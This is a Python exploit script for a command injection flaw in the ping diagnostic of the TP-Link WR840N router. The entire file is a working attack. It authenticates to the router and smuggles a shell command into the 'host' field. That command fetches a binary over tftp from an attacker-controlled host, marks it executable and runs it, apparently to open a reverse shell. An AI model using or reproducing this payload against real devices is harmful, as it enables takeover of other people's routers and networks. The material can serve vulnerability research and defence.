#!/usr/bin/python # -*- coding: utf-8 -*- # Author: Samir Sanchez Garnica and Luis Jacome Valencia # Description: This script exploits a remote command execution vulnerability under the oal_startPing component in the TPLink WR840N router. import requests import base64 import argparse class RCE(): def __init__(self, ip, username, password, lhost): self.ip = ip self.username = username self.password = password self.lhost = lhost self.session = requests.Session() self.command = ";tftp -g -r s -l/var/tmp/s {}; chmod +x /var/tmp/s; ./var/tmp/s;".format(self.lhost) def base64_encode(self, s): msg_bytes = s.encode('ascii') return base64.b64encode(msg_bytes) def exploit(self): # Building the malicious packet self.url = "http://" + self.ip + "/cgi?2" self.url_trigger = "http://" + self.ip + "/cgi?7" self.proxyes = {} self.stage_1 = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\ndataBlockSize=64\r\ntimeout=1\r\nnumberOfRepetitions=4\r\nhost=172.26.26.1{}\r\nX_TP_ConnName=ewan_ipoe_s\r\ndiagnosticsState=Requested\r\n'.format(self.command) self.stage_2 = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n' self.headers = { 'Host': self.ip, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0', 'Accept': '*/*', 'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'text/plain', 'Content-Length': 'str(len(self.payload))', 'Origin': 'http://'+str(self.ip), 'Referer': 'http://'+str(self.ip)+'/mainFrame.htm', } self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') } self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.stage_1, proxies=self.proxyes) if self.response.status_code == 200: print("[+] Sending Stage 1, allocate command {}".format(self.command)) print("[+] Triggering vulnerability and Getting reverse shell....") try: self.response = self.session.post(self.url_trigger, headers=self.headers, cookies=self.cookies, data=self.stage_2, proxies=self.proxyes, timeout=5) except: pass def main(): parser = argparse.ArgumentParser() parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True) parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True) parser.add_argument("--target", dest="target", help="Enter router ip address", required=True) parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True) args = parser.parse_args() if args.username and args.password and args.target and args.lhost: rce = RCE(args.target, args.username, args.password, args.lhost) rce.exploit() if __name__ == "__main__": main()